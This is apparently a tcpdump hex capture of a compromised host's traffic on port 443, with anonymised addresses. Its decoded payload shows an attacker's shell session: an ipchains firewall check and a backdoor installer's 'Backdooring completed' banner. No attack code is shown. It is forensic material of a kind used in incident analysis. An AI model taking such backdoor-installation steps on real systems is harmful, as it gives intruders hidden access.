0x0050 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0060 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0070 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d1b ---------------.
0x0080 5b30 6d0a 1b5b 303b 3336 6d5b 1b5b 313b [0m..[0;36m[.[1;
0x0090 3337 6d73 681b 5b30 3b33 366d 5d23 2069 37msh.[0;36m]#.i
0x00a0 7063 6861 696e 7320 2e2e 2e3f 1b5b 306d pchains....?.[0m
0x00b0 0a69 7063 6861 696e 733a 2049 6e63 6f6d .ipchains:.Incom
0x00c0 7061 7469 626c 6520 7769 7468 2074 6869 patible.with.thi
0x00d0 7320 6b65 726e 656c 0a1b 5b31 3b33 376d s.kernel..[1;37m
0x00e0 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x00f0 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0100 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0110 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0120 2d2d 2d2d 1b5b 306d 0a1b 5b30 3b33 366d ----.[0m..[0;36m
0x0130 5b1b 5b31 3b33 376d 7368 1b5b 303b 3336 [.[1;37msh.[0;36
0x0140 6d5d 2320 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d m]#.============
0x0150 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0160 3d3d 201b 5b31 3b33 316d 4261 636b 646f ==..[1;31mBackdo
0x0170 6f72 696e 6720 636f 6d70 6c65 7465 6420 oring.completed.
0x0180 696e 203a 3520 7365 636f 6e64 7320 1b5b in.:5.seconds..[
0x0190 306d 0a 0m.
05:35:56.572096 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 6308:6659(351) ack 1229 win 8576 <nop,nop,timestamp 2128226 633028606> (DF)
0x0000 4500 0193 f35d 4000 4006 85a1 800a 097e E....]@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d371 2e65 72e3 ..c]...9O..q.er.
0x0020 8018 2180 620e 0000 0101 080a 0020 7962 ..!.b.........yb
0x0030 25bb 3ffe 1b5b 313b 3337 6d2d 2d2d 2d2d %.?..[1;37m-----
0x0040 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0050 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0060 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0070 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d1b ---------------.
0x0080 5b30 6d0a 1b5b 303b 3336 6d5b 1b5b 313b [0m..[0;36m[.[1;
0x0090 3337 6d73 681b 5b30 3b33 366d 5d23 2069 37msh.[0;36m]#.i
0x00a0 7063 6861 696e 7320 2e2e 2e3f 1b5b 306d pchains....?.[0m
0x00b0 0a69 7063 6861 696e 733a 2049 6e63 6f6d .ipchains:.Incom
0x00c0 7061 7469 626c 6520 7769 7468 2074 6869 patible.with.thi
0x00d0 7320 6b65 726e 656c 0a1b 5b31 3b33 376d s.kernel..[1;37m
0x00e0 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x00f0 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0100 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0110 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------------
0x0120 2d2d 2d2d 1b5b 306d 0a1b 5b30 3b33 366d ----.[0m..[0;36m
0x0130 5b1b 5b31 3b33 376d 7368 1b5b 303b 3336 [.[1;37msh.[0;36
0x0140 6d5d 2320 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d m]#.============
0x0150 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0160 3d3d 201b 5b31 3b33 316d 4261 636b 646f ==..[1;31mBackdo
0x0170 6f72 696e 6720 636f 6d70 6c65 7465 6420 oring.completed.
0x0180 696e 203a 3520 7365 636f 6e64 7320 1b5b in.:5.seconds..[
0x0190 306d 0a 0m.
05:35:56.643458 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 6307 win 31856 <nop,nop,timestamp 633028619 2128218> (DF)
0x0000 4500 0034 e069 4000 3106 a8f4 d380 635d E..4.i@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 d370 ...~.9...er.O..p
0x0020 8010 7c70 8e1f 0000 0101 080a 25bb 400b ..|p........%.@.
0x0030 0020 795a ..yZ
05:35:56.673481 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 6308 win 31856 <nop,nop,timestamp 633028622 2128222> (DF)
0x0000 4500 0034 e07b 4000 3106 a8e2 d380 635d E..4.{@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 d371 ...~.9...er.O..q
0x0020 8010 7c70 8e17 0000 0101 080a 25bb 400e ..|p........%.@.
0x0030 0020 795e ..y^
05:35:56.763222 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 6659 win 31856 <nop,nop,timestamp 633028631 2128226> (DF)
0x0000 4500 0034 e0c7 4000 3106 a896 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 d4d0 ...~.9...er.O...
0x0020 8010 7c70 8cab 0000 0101 080a 25bb 4017 ..|p........%.@.
0x0030 0020 7962 ..yb
05:36:42.404689 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: F 1229:1229(0) ack 6659 win 31856 <nop,nop,timestamp 633033194 2128226> (DF)
0x0000 4500 0034 48e9 4000 3106 4075 d380 635d E..4H.@.1.@u..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 d4d0 ...~.9...er.O...
0x0020 8011 7c70 7ad7 0000 0101 080a 25bb 51ea ..|pz.......%.Q.
0x0030 0020 7962 ..yb
05:36:42.437773 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1230 win 8576 <nop,nop,timestamp 2132842 633033194> (DF)
0x0000 4500 0034 f35e 4000 4006 86ff 800a 097e E..4.^@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d4d0 2e65 72e4 ..c]...9O....er.
0x0020 8010 2180 c3bf 0000 0101 080a 0020 8b6a ..!............j
0x0030 25bb 51ea %.Q.
05:36:42.437792 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1230 win 8576 <nop,nop,timestamp 2132842 633033194> (DF)
0x0000 4500 0034 f35e 4000 4006 86ff 800a 097e E..4.^@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d4d0 2e65 72e4 ..c]...9O....er.
0x0020 8010 2180 c3bf 0000 0101 080a 0020 8b6a ..!............j
0x0030 25bb 51ea %.Q.
07:36:42.870708 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1230 win 8576 <nop,nop,timestamp 2852838 633033194> (DF)
0x0000 4500 0034 f35f 4000 4006 86fe 800a 097e E..4._@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d4cf 2e65 72e4 ..c]...9O....er.
0x0020 8010 2180 c739 0000 0101 080a 002b 87e6 ..!..9.......+..
0x0030 25bb 51ea %.Q.
07:36:42.870714 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1230 win 8576 <nop,nop,timestamp 2852838 633033194> (DF)
0x0000 4500 0034 f35f 4000 4006 86fe 800a 097e E..4._@.@......~
0x0010 d380 635d 01bb 0639 4fd9 d4cf 2e65 72e4 ..c]...9O....er.
0x0020 8010 2180 c739 0000 0101 080a 002b 87e6 ..!..9.......+..
0x0030 25bb 51ea %.Q.
07:36:43.048823 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: R 778400484:778400484(0) win 0
0x0000 4500 0028 684b 0000 f006 a21e d380 635d E..(hK........c]
0x0010 800a 097e 0639 01bb 2e65 72e4 0000 0000 ...~.9...er.....
0x0020 5004 0000 463d 0000 4600 0000 0000 P...F=..F.....